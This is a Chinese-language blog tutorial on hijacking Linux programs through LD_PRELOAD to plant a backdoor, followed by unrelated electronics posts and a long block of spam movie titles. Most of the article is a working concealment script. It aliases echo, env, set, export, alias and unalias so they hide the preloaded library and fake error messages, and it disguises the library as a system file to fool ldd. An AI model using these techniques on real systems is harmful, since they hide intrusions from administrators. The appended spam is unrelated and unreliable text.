Linux平臺使用LD_PRELOAD劫持和注入程序

原創(chuàng) Linux二進(jìn)制 2024-05-30 08:20

Linux?平臺下,涉及動態(tài)鏈接的程序,在程序啟動時,首先運(yùn)行的是動態(tài)鏈接器(runtime dynamic linker),檢查程序所需要的動態(tài)庫文件并加載到進(jìn)程的虛擬地址空間,然后才將控制權(quán)交給程序入口。

前言

一般來說,程序的鏈接分為靜態(tài)鏈接動態(tài)鏈接靜態(tài)鏈接就是把所有所引用到的函數(shù)或變量全部地編譯到可執(zhí)行文件中,動態(tài)鏈接則不會把函數(shù)編譯到可執(zhí)行文件中,而是在程序運(yùn)行時動態(tài)地載入函數(shù)庫,也就是運(yùn)行時鏈接。

所以,對于動態(tài)鏈接來說,必然需要一個動態(tài)鏈接庫。動態(tài)鏈接庫的好處在于,一旦動態(tài)庫中的函數(shù)發(fā)生變化,對于可執(zhí)行程序來說是透明的,可執(zhí)行程序無需重新編譯。這對于程序的發(fā)布、維護(hù)、更新起到了積極的作用。對于靜態(tài)鏈接的程序來說,函數(shù)庫中一個小小的改動需要整個程序的重新編譯、發(fā)布,對于程序的維護(hù)產(chǎn)生了比較大的工作量。

當(dāng)然,凡事都需要辯證的看,有好就有壞,有得就有失。動態(tài)鏈接?所帶來的壞處和其好處一樣同樣是巨大的。因為程序在運(yùn)行時動態(tài)加載函數(shù),這也就為他人創(chuàng)造了可以影響你的主程序的機(jī)會。試想,一旦你的程序動態(tài)載入的函數(shù)不是你自己寫的,而是載入了別人的有企圖的代碼,通過函數(shù)的返回值來控制你的程序的執(zhí)行流程。那么,你的程序也就被人?劫持?了。

拓展Linux?平臺,可執(zhí)行程序的動態(tài)庫加載優(yōu)先級如下:

  1. LD_PRELOAD

  2. LD_LIBRARY_PATH

  3. /etc/ld.so.cache

  4. /lib

  5. /usr/lib。

我們知道?Linux?系統(tǒng)的命令基本都用到了?glibc?庫,生成了有一個叫?libc.so.6?的文件,這是幾乎所有?Linux?系統(tǒng)下命令的動態(tài)鏈接庫,其中有標(biāo)準(zhǔn)?C?的各種函數(shù)。對于?GCC?而言,默認(rèn)情況下,所編譯的程序中對標(biāo)準(zhǔn)?C?函數(shù)的鏈接,都是通過動態(tài)鏈接方式來鏈接?libc.so.6?這個函數(shù)庫的。

LD_PRELOAD

LD_PRELOAD?是?Linux?系統(tǒng)的一個環(huán)境變量,它可以影響程序運(yùn)行時的鏈接(Runtime linker)順序,它允許程序運(yùn)行時優(yōu)先加載指定的動態(tài)鏈接庫,主要是用來有選擇性的載入不同動態(tài)鏈接庫中的相同函數(shù),因此,這個機(jī)制可以被用來劫持程序。并且由于?全局符號介入機(jī)制?的影響,LD_PRELOAD?指定的動態(tài)鏈接庫中的函數(shù)會覆蓋之后其他動態(tài)鏈接庫中的同名函數(shù)

通過LD_PRELOAD,我們可以在主程序和其動態(tài)鏈接庫的中間加載別的動態(tài)鏈接庫,甚至覆蓋正常的函數(shù)庫。一方面,我們可以以此功能來使用自己的或是更好的函數(shù)(無需別人的源碼),另一方面,我們也可以向別人的程序注入我們的程序,從而達(dá)到特定的目的。

本文記錄了如何通過?LD_PRELOAD?環(huán)境變量來?hook?程序,達(dá)到植入后門和調(diào)試的目的。

拓展:全局符號介入

全局符號介入指的是程序調(diào)用動態(tài)庫中的函數(shù)時,如果調(diào)用的函數(shù)在多個動態(tài)庫中都存在,那么鏈接器只會保留第一個鏈接的動態(tài)庫中的函數(shù),忽略之后同名的函數(shù),所以只要預(yù)加載的全局符號中有和后加載的普通共享庫中全局符號重名,那么就會覆蓋后裝載的共享庫以及目標(biāo)文件里的全局符號。

動態(tài)鏈接庫 Hook

由于?LD_PRELOAD?可以在程序運(yùn)行前指定優(yōu)先加載的動態(tài)鏈接庫,因此,我們可以重寫程序運(yùn)行過程中所調(diào)用的函數(shù)并編譯成動態(tài)鏈接庫文件,然后通過?LD_PRELOAD?讓程序優(yōu)先加載這個"惡意"的動態(tài)鏈接庫,最后,當(dāng)程序再次運(yùn)行時便會加載動態(tài)鏈接庫中的“惡意”函數(shù)。具體的操作步驟如下:

  1. 定義與目標(biāo)函數(shù)完全一樣的函數(shù),包括名稱、變量及類型、返回值及類型等。
  2. 將包含替換函數(shù)的源碼編譯為動態(tài)鏈接庫。
  3. 通過命令?export LD_PRELOAD="庫文件路徑",設(shè)置要優(yōu)先替換的動態(tài)鏈接庫即可。
  4. 替換結(jié)束,要還原函數(shù)調(diào)用關(guān)系,用命令unset LD_PRELOAD?解除。

注意:第?3?步有如下兩種方式可選,使用哪種方式均可。

# 指定的鏈接庫只對緊接在后面的程序生效$ LD_PRELOAD=$PWD/hook.so ./executable
# 定義環(huán)境變量則對后續(xù)命令都生效$ export LD_PRELOAD=$PWD/hook.so

下面我們通過一個簡單的實(shí)例進(jìn)行演示:

/*  random_num.c */#include #include #include 
int main() { srand(time(NULL)); int i = 10; while(i--) printf("%d\n", rand()%100); return 0;}

我不使用任何參數(shù)來編譯它,如下所示:

gcc random_num.c -o random_num

我希望它輸出的結(jié)果是明確的:從 0-99 中選擇的十個隨機(jī)數(shù)字,希望每次你運(yùn)行這個程序時它的輸出都不相同。

[root@localhost rand]# ./random_num57814089841367803145

默認(rèn)情況下,gcc?編譯采用動態(tài)鏈接,rand()?這個標(biāo)準(zhǔn)?C?庫接口來自?libc.so.6

現(xiàn)在,讓我們假裝真的不知道這個可執(zhí)行程序的出處。甚至將它的源文件刪除,或者把它移動到別的地方 —— 我們已不再需要它了。我們將對這個程序的行為進(jìn)行重大的修改,而你并不需要接觸到它的源代碼,也不需要重新編譯它。

因此,讓我們來創(chuàng)建另外一個簡單的?C?文件?hook.c

int rand() {    // the most random number in the universe    return 10;}

我們將它編譯進(jìn)一個共享庫中:

gcc -shared -fPIC hook.c -o hook.so

編譯生成我自己定義的動態(tài)鏈接庫?hook.so,并通過?LD_PRELOAD?設(shè)置替換成我剛編譯的動態(tài)鏈接庫?hook.so

現(xiàn)在我們已經(jīng)有了一個可以輸出一些隨機(jī)數(shù)的應(yīng)用程序,和一個定制的動態(tài)庫,它使用一個常數(shù)值?10?實(shí)現(xiàn)了一個?rand()?函數(shù)。現(xiàn)在讓我們就像運(yùn)行?random_num?一樣,然后再觀察結(jié)果:

[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ./random_num10101010101010101010

如果你想偷懶或者不想自動親自動手(或者不知什么原因猜不出發(fā)生了什么),我來告訴你 —— 它輸出了十次常數(shù)?10

如果先這樣執(zhí)行:

export LD_PRELOAD=$PWD/hook.so

然后再以正常方式運(yùn)行這個程序,這個結(jié)果也許會更讓你吃驚:一個未被改變過的應(yīng)用程序在一個正常的運(yùn)行方式中,結(jié)果就輕易的被我們篡改了……

[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ./random_num10101010101010101010

當(dāng)我們的程序啟動后,為程序提供所需要的函數(shù)的某些庫被加載。我們可以使用?ldd?去學(xué)習(xí)它是怎么工作的:

[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007fffa2df3000)        libc.so.6 => /lib64/libc.so.6 (0x00007fed34c21000)        /lib64/ld-linux-x86-64.so.2 (0x00007fed34fe6000)

它列出了被程序?random_num?所需要的庫的列表。這個列表是構(gòu)建進(jìn)可執(zhí)行程序中的,并且它是在編譯時決定的。在你的機(jī)器上的具體的輸出可能與示例有所不同,但是,一個?libc.so?肯定是有的 —— 這個文件提供了核心的?C?函數(shù)。它包含了 “真正的”?rand()

我使用下列的命令可以得到一個全部的函數(shù)列表,我們看一看?libc?提供了哪些函數(shù):

nm -D /lib/libc.so.6

這個?nm?命令列出了在一個二進(jìn)制文件中找到的符號。-D?標(biāo)志告訴它去查找動態(tài)符號,因為?libc.so.6?是一個動態(tài)庫。這個輸出是很長的,但它確實(shí)在列出的很多標(biāo)準(zhǔn)函數(shù)中包括了?rand()

[root@localhost rand]# nm -D /lib/libc.so.6 | grep -w rand000365e0 T rand

現(xiàn)在,在我們設(shè)置了環(huán)境變量?LD_PRELOAD?后發(fā)生了什么?這個變量為一個程序強(qiáng)制加載一些動態(tài)庫。在我們的案例中,它為?random_num?加載了?hook.so,盡管程序本身并沒有這樣去要求它。下列的命令可以看得出來:

[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ldd random_num        linux-vdso.so.1 (0x00007fffbcad0000)        /tmp/rand/hook.so (0x00007fc662acc000)        libc.so.6 => /lib64/libc.so.6 (0x00007fc662707000)        /lib64/ld-linux-x86-64.so.2 (0x00007fc662cce000)

或者通過如下命令也可:

[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd857af000)        /tmp/rand/hook.so (0x00007fbcf4327000)        libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)        /lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)

注意,它列出了我們當(dāng)前的庫。實(shí)際上這就是代碼為什么得以運(yùn)行的原因:random_num?調(diào)用了?rand(),但是,如果?hook.so?被加載,它調(diào)用的是我們自定義動態(tài)庫中所提供的rand()?函數(shù)。

至此,我們通過LD_PRELOAD劫持和注入程序的方法就成功了。但是,只講到這里大家有沒有發(fā)現(xiàn)一個問題,如果只操作到這里,那么就很容易被人發(fā)現(xiàn)我們植入的后門。有沒有什么辦法能避免輕易本人發(fā)現(xiàn)并識別出來呢,接下來讓我們一起學(xué)習(xí)下。

隱藏痕跡

如果檢查環(huán)境變量?LD_PRELOAD?是否有值,就可以捕捉到蛛絲馬跡

[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# echo $LD_PRELOAD/tmp/rand/hook.so

有檢查的手段,就有對抗檢查的手段。隱藏痕跡的思路就是利用?alias?命令給能夠查看環(huán)境變量的命令都定義一個別名,在輸出環(huán)境變量時做一個過濾,如果檢查到輸出內(nèi)容有自定義的動態(tài)庫名稱時就輸出空格字符或者不輸出之類的。

隱藏echo

使用?alias?命令將?echo?定義別名

alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'

首先查看環(huán)境變量?LD_PRELOAD?是沒有值的,用?export?進(jìn)行設(shè)置后,echo?就能看到?$LD_PRELOAD?的值了,接著用?alias?將?echo?定義別名,使得?echo?命令輸出的字符串如果包含?/tmp/rand/hook.so?就給替換為空格,實(shí)驗效果如下:

[root@localhost rand]# alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]#

原理】:首先定義一個?func?函數(shù),最后執(zhí)行?func?函數(shù)中的內(nèi)容;echo $*?會輸出?echo?命令傳進(jìn)來的所有參數(shù);sed?是一個非交互性文本流編輯器,s?參數(shù)表示替換,!?作為定界符(正常的分隔符是用?/?,但是避免路徑中?/?的干擾,這里選擇用?!?作為定界符),g?表示全局替換。

隱藏env

env?輸出環(huán)境變量時,如果?LD_PRELOAD?的值并不存在,則不會輸出關(guān)于這個變量的任何信息,如果給?LD_PRELOAD?設(shè)置值之后,就能查看到一行關(guān)于這個變量的信息(如下)

[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LD_PRELOAD=/tmp/rand/hook.soLESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env

這里采用的思路是用?grep -v?來過濾掉,grep -v?指的是反轉(zhuǎn)匹配。因此使用如下命令,將?env?定義別名,將除去字符串?/tmp/rand/hook.so?的內(nèi)容都輸出

alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'

觀察下圖能發(fā)現(xiàn),最初?env?命令是成功輸出了?LD_PRELOAD?環(huán)境變量的,但定義?env?別名后,再出執(zhí)行?env?就已經(jīng)看不到?LD_PRELOAD?環(huán)境變量了。

[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env

隱藏set

隱藏?set?命令輸出的環(huán)境變量和?env?同理。

alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'

執(zhí)行結(jié)果如下:

[root@localhost rand]# set | grep LDLD_PRELOAD=/tmp/rand/hook.soOLDPWD=/root                OLD_IFS="$IFS";                IFS="$OLD_IFS";[root@localhost rand]# alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# set | grep LDOLDPWD=/root                OLD_IFS="$IFS";                IFS="$OLD_IFS";

隱藏export

export?命令的隱藏也是同理。

alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'

執(zhí)行結(jié)果如下:

[root@localhost rand]# export | grep LDdeclare -x LD_PRELOAD="/tmp/rand/hook.so"declare -x OLDPWD="/root"[root@localhost rand]# alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# export | grep LDdeclare -x OLDPWD="/root"

隱藏unalias

接下來是對?alias?和?unalias?命令進(jìn)行處理。

用?alias?可以查詢到對?env?命令做了別名定義,對其使用?unalias?命令刪除是可以成功的,如果沒有別名的話,用?unalias?刪除時應(yīng)該是報錯?-bash: unalias: xx: not found(實(shí)驗機(jī)器為?CentOS Stream release 8,不同版本的機(jī)器上這個錯誤信息可能不一樣)。

[root@localhost rand]# alias | grep envalias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# unalias env[root@localhost rand]# unalias env-bash: unalias: env: not found

然后對?unalias?命令進(jìn)行一下別名定義,希望在識別到參數(shù)為?env?echo??export?alias?unalias?的時候都輸出報錯?-bash: unalias: xx: not found?,這樣就造成了一種這些命令并沒有被別名的假象。

shell?腳本如下,代碼很容易理解,就是用了兩個?if?語句確保?unalias?造成一種假象

alias unalias='func() {  if [ $# != 0 ]; then    if [ $* != "echo" ] && [ $* != "env" ] && [ $* != "set" ] && [ $* != "export" ] && [ $* != "alias" ] && [ $* != "unalias" ]; then      unalias $*    else      echo "-bash: unalias: ${*}: not found"    fi  else    echo "unalias: not enough arguments"  fi}; func'

執(zhí)行?alias?命令如下,對?unalias?定義別名

alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func'

隱藏alias

如果用?alias?命令查看哪些函數(shù)定義別名的話,依然是個破綻,因此最后對?alias?做一個別名,偽造的方法和隱藏?export?set?的輸出一樣,將輸出有動態(tài)庫名稱的命令都給過濾掉,并且要額外過濾一下?unalias?(避免被看出來?unalias?命令做過手腳)

alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

匯總上面的命令,編寫?shell?腳本?hook.sh?如下:

export LD_PRELOAD=$PWD/hook.so alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func' alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func' alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func' alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func' alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func' alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

將其執(zhí)行后,調(diào)用?random_num?可以看到下圖中已經(jīng)觸發(fā)了自定義的?hook?動態(tài)庫,并且用各種方法檢查環(huán)境變量?LD_PRELOAD?發(fā)現(xiàn)一切正常,如下所示:

[root@localhost rand]# source hook.sh[root@localhost rand]# ./random_num10101010101010101010[root@localhost rand]# env | grep LD_PRELOAD[root@localhost rand]# export | grep LD_PRELOAD[root@localhost rand]# set | grep LD_PRELOAD[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]#

可能有的人會說,你隱藏了那么多,但是?ldd?一下不還是會露餡么,不信你看:

  [root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd857af000)        /tmp/rand/hook.so (0x00007fbcf4327000)        libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)        /lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)

確實(shí),ldd?會顯示鏈接的動態(tài)庫,如果你像?/tmp/rand/hook.so?這樣命名路徑和動態(tài)庫,可能的確會輕易的被發(fā)現(xiàn),但是我們可以偽裝成一個系統(tǒng)庫,就不容易被發(fā)現(xiàn)了,如下:

[root@localhost rand]# gcc -shared -fPIC hook.c -o /lib64/libcx.so[root@localhost rand]# export LD_PRELOAD=/lib64/libcx.so[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd0ebc8000)        /lib64/libcx.so (0x00007f63b2e38000)        libc.so.6 => /lib64/libc.so.6 (0x00007f63b2a73000)        /lib64/ld-linux-x86-64.so.2 (0x00007f63b303a000)

如果你不仔細(xì)研究,是不是就不會發(fā)現(xiàn)異常,這樣就基本可以蒙混過關(guān)了。

至此,使用?LD_PRELOAD?劫持和注入程序就全部介紹完了。

特此說明:本文只作為參考學(xué)習(xí)使用,請勿用作其它非法用途。


Linux二進(jìn)制 Linux編程、內(nèi)核模塊、網(wǎng)絡(luò)原創(chuàng)文章分享,歡迎關(guān)注"Linux二進(jìn)制"微信公眾號
評論
  • 行業(yè)痛點(diǎn)凸顯,飛凌嵌入式FET3572-C重磅登場工業(yè)4.0與AIoT發(fā)展下,嵌入式核心板作為設(shè)備“工業(yè)大腦”,面臨性能與功耗的雙重考驗——既要支撐復(fù)雜算法和多路數(shù)據(jù)處理,又要兼顧便攜設(shè)備、工業(yè)終端的低功耗需求,傳統(tǒng)核心板“高性能必高功耗”的困境制約設(shè)備升級。為此,飛凌嵌入式推出基于RK3572處理器的FET3572-C核心板,以2×Cortex-A73+6×Cortex-A53八核架構(gòu)為核心,實(shí)現(xiàn)“性能翻倍、功耗減半”的突破,為中高端嵌入式場景提供優(yōu)質(zhì)算力底座。八核異構(gòu)架構(gòu),解鎖性能功耗最優(yōu)解
    飛凌嵌入式 2026-07-31 09:47 178瀏覽
  • 摘要在防爆電氣設(shè)計中,只參照芯數(shù)選型而忽略額定載流量,長期滿負(fù)荷運(yùn)行會出現(xiàn)插頭發(fā)熱、接觸面氧化、IP67 密封受熱老化等問題。結(jié)合常用 3 針 3 孔、4 芯、5PIN、8PIN 圓形防爆連接器,制作分級電流參數(shù)對照表,區(qū)分冷壓免焊接、焊接兩種接線結(jié)構(gòu)的安全載流數(shù)值,設(shè)置合理電流冗余系數(shù),搭配使用環(huán)境修正參數(shù),規(guī)范防爆接近開關(guān)連接器、防爆法蘭插座的選型計算方式。關(guān)鍵詞圓形防爆連接器,載流參數(shù)表,防爆法蘭插座,防爆端子接頭,IP67 防爆防水接插件1 產(chǎn)品概述圓形防爆連接器觸點(diǎn)載流能力由插針直徑、
    用戶1783664076620 2026-08-03 09:18 101269瀏覽
  • 摘要防爆自控系統(tǒng)同時布設(shè)本安信號、工業(yè)總線、動力供電三類線路,僅依靠標(biāo)識標(biāo)牌管控插接極易出現(xiàn)人為錯插問題,高壓動力回路竄入本安弱電回路會突破安全柵限能標(biāo)準(zhǔn),產(chǎn)生點(diǎn)火風(fēng)險。依托 A、D、K 標(biāo)準(zhǔn)化機(jī)械防呆編碼體系,搭配護(hù)套顏色區(qū)分管理,適配 3 針 3 孔免焊接冷壓增安型防爆航插、5PIN 總線防爆航空插頭、8 芯焊接防爆法蘭插座的選型使用,從物理結(jié)構(gòu)層面杜絕防爆接近開關(guān)連接器、防爆傳感器航插接頭混用插接問題,補(bǔ)齊防爆系統(tǒng)被動安全防護(hù)體系。關(guān)鍵詞圓形防爆連接器,防呆編碼防爆航插,防爆航空插頭,防爆
    用戶1783664076620 2026-07-31 18:29 278瀏覽
  • 今年好幾個客戶都問過我同一件事。藍(lán)牙音頻產(chǎn)品到底用 WT2605 這種單芯片,還是老老實(shí)實(shí) MCU 外掛藍(lán)牙模組。兩種方案我都落地過,說點(diǎn)實(shí)在的,WT2605 剛出來那陣我也犯嘀咕,怕是營銷噱頭,真拿來做完一版樣機(jī)才服氣。一、選型先看三個維度外圍數(shù)量。這是最直觀的。傳統(tǒng)做法是 MCU 加藍(lán)牙模組,再加音頻編解碼、功放、晶振和一堆阻容,板子上密密麻麻十幾二十顆料。WT2605 把藍(lán)牙、解碼、功放全收進(jìn)一顆,外圍就剩少量被動件。開發(fā)周期。傳統(tǒng)方案得自己接藍(lán)牙協(xié)議棧,配網(wǎng)、A2DP 解碼、音頻通路一一
    唯創(chuàng)知音語音芯片 2026-07-31 16:35 321瀏覽
  • 在芯片總成本中占比不到 1%,卻可能因一處品質(zhì)偏差導(dǎo)致整片晶圓報廢——半導(dǎo)體切割/研磨膠帶,正隨著先進(jìn)封裝的爆發(fā),成為封測產(chǎn)線選型中最謹(jǐn)慎對待的耗材之一。但鮮有人注意到,決定這層膠帶性能上限的,是上游一層更薄的基膜。這個長期由日本企業(yè)主導(dǎo)的隱形環(huán)節(jié),正在出現(xiàn)國產(chǎn)突圍的信號。一、需求之變:先進(jìn)封裝與“韜定律”重塑膠帶市場AI 算力芯片、HBM 高帶寬存儲、Chiplet 芯粒等先進(jìn)封裝產(chǎn)品持續(xù)放量,國內(nèi)封測產(chǎn)線擴(kuò)產(chǎn)節(jié)奏不減。作為晶圓減薄與切割工序的必需耗材,晶圓膠帶的需求同步擴(kuò)容。據(jù) QYRese
    芯膜前沿 2026-07-31 16:35 282瀏覽
  • 智能寵物用品這幾年快速普及,自動清理幾乎成了智能貓砂盆的標(biāo)配。貓咪用完離場,設(shè)備自動翻轉(zhuǎn)清理,養(yǎng)寵家庭省去了每天彎腰清理的麻煩。但自動清理的第一步,是先準(zhǔn)確判斷貓到底在不在盆里。這個看似簡單的問題,在小空間里并不容易做好。近場檢測的痛點(diǎn):距離太遠(yuǎn)反而誤事貓砂盆內(nèi)部空間有限。如果傳感器的檢測距離設(shè)得偏大,盆外路過的貓、人甚至物品都會被誤判為貓在盆內(nèi),結(jié)果該清理時不清理、不該清理時亂清理,體驗直接崩壞。這類產(chǎn)品的核心訴求其實(shí)就一句話:近距離、小范圍、精準(zhǔn)識別,不能有半點(diǎn)誤判。常規(guī)感應(yīng)方案常因檢測距離
    唯創(chuàng)知音語音芯片 2026-07-31 16:51 227瀏覽
  • 在EMC測試過程中,傳導(dǎo)發(fā)射(Conducted Emission,CE)超標(biāo)是工程師最常遇到的問題之一。更令人頭疼的是,同樣的超標(biāo)曲線背后,可能對應(yīng)著完全不同的干擾機(jī)理:有的是差模噪聲沿電源回路傳播,有的是共模電流通過寄生路徑耦合,還有些問題甚至并非來自電源本身,而是負(fù)載、電纜布局或接地結(jié)構(gòu)引起的連鎖反應(yīng)。 · 150kHz~1MHz 超標(biāo):多為差模噪聲為主,干擾沿火線-零線回路傳輸。 · 1MHz~30MHz 超標(biāo):通常共模噪聲占主導(dǎo),干擾通過火線/零線對地回路傳播。 如果條件允許,用電流探
    譽(yù)磁電磁兼容EMC 2026-07-31 18:45 312瀏覽
  • Synopsys 這次沒有再給行業(yè)看一條只能站在展臺邊圍觀的 demo。7 月 27 日,Synopsys 在 DAC 2026 期間公布兩條 autonomous EDA workflow:一條處理 debug closure,另一條處理 implementation and closure。客戶可以通過 Synopsys 申請在 Microsoft Discovery 上評估,AMD 正在評估這些工作流能否用于下一代產(chǎn)品開發(fā)。公告里最扎眼的是 25%–40%。Synopsys 稱
    麒芯說AI 2026-07-31 14:21 171瀏覽
  • ?摘要:低價大流量卡正全面退市,政策收緊已成定局。面對傳統(tǒng)號卡的不確定性,隨身WiFi憑借穩(wěn)定連接、多設(shè)備共享、獨(dú)立設(shè)備和靈活套餐等優(yōu)勢,成為務(wù)實(shí)可靠的備選方案。1、流量卡黃金時代要結(jié)束了通信行業(yè)正迎來一場前所未有的“地震式”調(diào)整——曾讓無數(shù)用戶追捧的低價大流量卡,正在全速退出各大平臺。這早已不是一次普通的競合,而是一場趨勢性的行業(yè)洗牌。回望過去,19元200G的神卡,那時真是“睡著都能笑醒”,便宜到不敢相信,爽到忍不住炫耀。那些日子,好像隨便刷、隨便看,流量自由觸手可及。可如今,回頭再看,那種
    愛上電路設(shè)計 2026-08-03 10:21 101425瀏覽
  •         很多人拆解醫(yī)療設(shè)備時,只會關(guān)注傳感器、主控芯片這類核心部件,卻忽略了電路板上不起眼的晶振。作為整個醫(yī)療系統(tǒng)的時間基準(zhǔn),晶振的精度、穩(wěn)定性直接決定了測量數(shù)據(jù)的準(zhǔn)確性、設(shè)備的運(yùn)行安全性——比如監(jiān)護(hù)儀的采樣頻率偏了1ppm,血氧、心率的讀數(shù)就會出現(xiàn)系統(tǒng)性偏差;膠囊內(nèi)窺鏡的時鐘漂移超標(biāo),圖像傳輸就會出現(xiàn)丟包、花屏。不同醫(yī)療場景對晶振的要求天差地別,沒有一款晶振能通吃所有設(shè)備,每一類醫(yī)療設(shè)備背后,都有一套針對性的晶振選型邏輯。1. 家用便攜監(jiān)測設(shè)備:
    TKD泰晶科技 2026-07-31 08:24 478瀏覽
  • 光芯片,正在從光模塊的“配角”逆襲為AI產(chǎn)業(yè)鏈的“命門”2026年3月,英偉達(dá)一紙公告震動整個光通信行業(yè)——分別向Lumentum和Coherent各投資20億美元,合計40億美元。這哪是什么財務(wù)投資,這是一次對AI基礎(chǔ)設(shè)施關(guān)鍵環(huán)節(jié)的“掐尖式”卡位。光芯片,這個曾經(jīng)被市場當(dāng)作光模塊BOM表里一個標(biāo)準(zhǔn)配套元器件的東西,正在成為AI產(chǎn)業(yè)鏈上“卡位”最強(qiáng)、話語權(quán)最硬的環(huán)節(jié)。一、為什么是光芯片?老黃早就把話挑明了英偉達(dá)CEO黃仁勛的原話是:數(shù)據(jù)傳輸速度已成為人工智能發(fā)展的新瓶頸。AI集群從萬卡級往十萬卡
    用戶1774416745629 2026-07-31 11:22 283瀏覽
  •     長期專注WiFi領(lǐng)域,也算是行業(yè)老兵了!同行閑聊中,時不時能提起我和我們!從疫情起,國產(chǎn)替代風(fēng)生水起,起起落落,大浪淘沙,生存下來的都是強(qiáng)者!    WiFi模塊應(yīng)用廣泛,對于高端市場和特定市場,要求WIFI模塊需要過CE/FCC之類的認(rèn)證,也就是說沒有認(rèn)證的模塊,不具備導(dǎo)入產(chǎn)品設(shè)計.接下來就和大家聊聊認(rèn)證模塊選型參考!    WIFi模塊硬件方面主要考慮以下九點(diǎn)特性:    1
    納拓科技 2026-07-31 17:56 139瀏覽
我要評論
0
點(diǎn)擊右上角,分享到朋友圈 我知道啦
請使用瀏覽器分享功能 我知道啦
主站蜘蛛池模板: 我老婆是大佬3| 月上兔泰剧电视剧免费观看| 木下檀檩子jlU698电影| 大话西游1| 滴水观音叶子发黄怎么办| 小东解说dota| 新还珠格格79| 爱情正在直播| 三日情劫:不嫁已婚总裁| 我朋友的瘦子9| 龚《新金梅》| 孤男寡女免费看电视剧战狼3 | 迈克杰克逊吉隆坡演唱会| 韩国R电影| 你们对象怎样抠你们的| 保罗雪莉一家免费| 火舞风云未删版浴缸片段| 高压监狱2法版1时43分| 黑girl小蛮| 花子VS倔强驱魔师1-4集在在线观看 | 香肠派队下载游戏| 官场初次尝了销魂少妇宋楚楚| 《卖房子的女销售》A片| 今生有你电视剧西瓜免费观看| 壮志凌云2011大人版影院| 刘美君电影| 安姨电影在线观看| 岁月的童话影评| 美乃雀的电影免费观看| 被拒绝的爱:无尽篇未删减| 在姨妈家的客厅| 两个人免费观看在线高清| 藏海花之暗潮汹涌在线观看| 《飞机上特殊服务5》| 高海拔之恋2粤语| 凌云壮志满天星法版免费观看| 坎贝奇电影《无憾》完整版| 《overflower》动漫第一季在线观看完整| 限制别人网速| 爱的几何完整版免费观看| 边陲威龙| 社长妻子替夫还债全集免费观看| 我爱hk开心万岁下载| 莫妮卡《爱我几何》| 沈阳天空聊天室| 《交换别人的麦子3》的剧情简介是什 | 醒目仔蛊惑招| 卿本佳人在线观看| 大闹天宫| 斗罗大陆228集完整版免费| 飞屋环游记高清| 恶作剧之吻第一部| 暗恋者的救赎| 湔雪的魔女| 你给我的喜欢电视剧免费观看高清| 1995版人猿泰山hr意大利版本演员表| 唐山大兄李小龙| 电影《需要爸爸播种美国》演员里的| 欧阳正华| 《overflower》第1季免费观看全集动漫 | 产妇大出血院长深夜跨院摇人| 沼泽猎手11| 韩国A片巜上司的秘书 | 哥斯拉大战金刚在线观看完整版| 站着再来一次最新一集免费| 跑男最新一季| 秋瓷炫生死决断在线观看| 狼烟遍地大结局| 加勒比海盗女版1高清版| 高清《宇宙面包店》电视剧| 飞机上性服务2免费播放| 湖北经视直播在线观看| 女超人满天星版| 侏罗纪公园满天星免费观看| 男女愁愁愁全集共多少集| 变形计他乡有爱| 台湾土著版酋长的女儿| 咒怨1日版| 需要爸爸播种子HD中字_午夜电影全集_完整版免费在线观看-天天影院 | 一吻定情动画版| 魔具少女第一季| 《新生》更新| 天子寻龙| 一人之下免费看| 《背叛者 第四季》未删减| 屯留县| 天才不能承受之重| 欧式少女第16集全集剧情介绍视频 | 《最高の爱人诏》三上悠亚免费观看 | 非常秘书飞速中文网| 龙珠:进化| 情链泰剧在线观看全集免费| 韩国电影免费完整版高清在线观看| 他是谁全集免费播放在线观看| 喜羊羊与灰太狼之守护大电影9| 趁人电影| 可疑的美容院韩国电影| 高清脱缰者也未删减| 电视剧丈母娘来了全集免费观看| 致郁生日| 你是我的荣耀32集免费观看| 舌尖上的公堂粤语| 百色起义| 斗罗大陆160集在线观看完整版| 三级片美国男按摩师 | xl司令第一季全集免费完整版在线观看高清 | 偷爸爸的种子免费观看电视剧| 冰与火之歌第七季| 97在线观看免费播放电视剧的更新时间 | 打黑电视剧免费观看| 